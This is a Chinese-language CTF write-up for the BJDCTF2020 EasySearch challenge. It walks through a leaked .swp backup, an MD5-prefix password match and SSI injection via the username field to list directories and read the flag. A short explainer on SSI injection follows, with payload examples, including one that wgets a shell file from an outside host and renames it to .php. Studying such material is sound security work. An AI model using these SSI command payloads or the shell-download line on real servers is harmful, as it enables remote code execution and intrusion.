[BJDCTF2020]EasySearch

easysearch,应该是让我们信息搜集的吧
所以扫后台发现index.php.swp备份。
查看该网址,发现源代码
<?php |
重点在admin那一段,要求上传的password和admin前6位一样
所以找一找有没有这样的字符串
写一个脚本
import hashlib |
2020666是其中找到的一个
之后尝试使用用户名(随机)加找出来的可以使用的密码尝试
抓包发现url

尝试进入

因为是shtml文件,所以使用ssi注入,关于ssi注入最后会进行解释
其注入格式为:
<!--#exec cmd="命令" --> |
所以,尝试命令
<!--#exec cmd="ls" --> |
因为只有username被回显,所以命令通过username传上去
发现出现了大批回显,所以是可以实现的
但是这个文件里面没什么东西,所以往上层查查看
所以尝试命令
<!--#exec cmd="ls ../" --> |

发现flag
之后就是打开这个了
<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2" --> |
找到flag
ssi注入漏洞:
何为SSI注入
SSI注入全称Server-Side Includes Injection,即服务端包含注入。在stm、shtm、shtml等Web页面中,如果用户可以从外部输入SSI标签,而输入的内容会显示到上述后缀的Web页面时,就导致可以远程在Web应用中注入脚本来执行代码。
简单点说就是攻击者可以通过外部输入SSI标签到Web页面(stm、shtm、shtml文件)来动态执行代码。
SSI注入允许远程在Web应用中注入脚本来执行代码。简单点说就是攻击者可以通过外部输入SSI语句到Web页面来动态执行代码。
前提条件
攻击者要想进行SSI注入、在Web服务器上运行任意命令,需要满足下列几点前提条件才能成功:
- Web服务器支持并开启了SSI;
- Web应用程序在返回HTML页面时,嵌入了用户输入的内容;
- 外部输入的参数值未进行有效的过滤;
漏洞场景
一般地,在stm、shtm、shtml等文件中,存在XSS的页面,大概率是存在SSI注入漏洞的。也就是说,用户输入的内容会显示在页面中的场景。比如,一个存在反射型XSS漏洞的页面,如果输入的payload不是XSS代码而是SSI的标签,同时服务器又开启了对SSI的支持的话就会存在SSI注入漏洞。
常用语句
命令执行
Linux
列出目录文件:
<!--#exec cmd="ls" --> |
访问目录:
<!--#exec cmd="cd /root/dir/"> |
执行脚本:
<!--#exec cmd="wget http://mysite.com/shell.txt | rename shell.txt shell.php" --> |
Windows
列出目录文件:
<!--#exec cmd="dir" --> |
访问目录:
<!--#exec cmd="cd C:\admin\dir"> |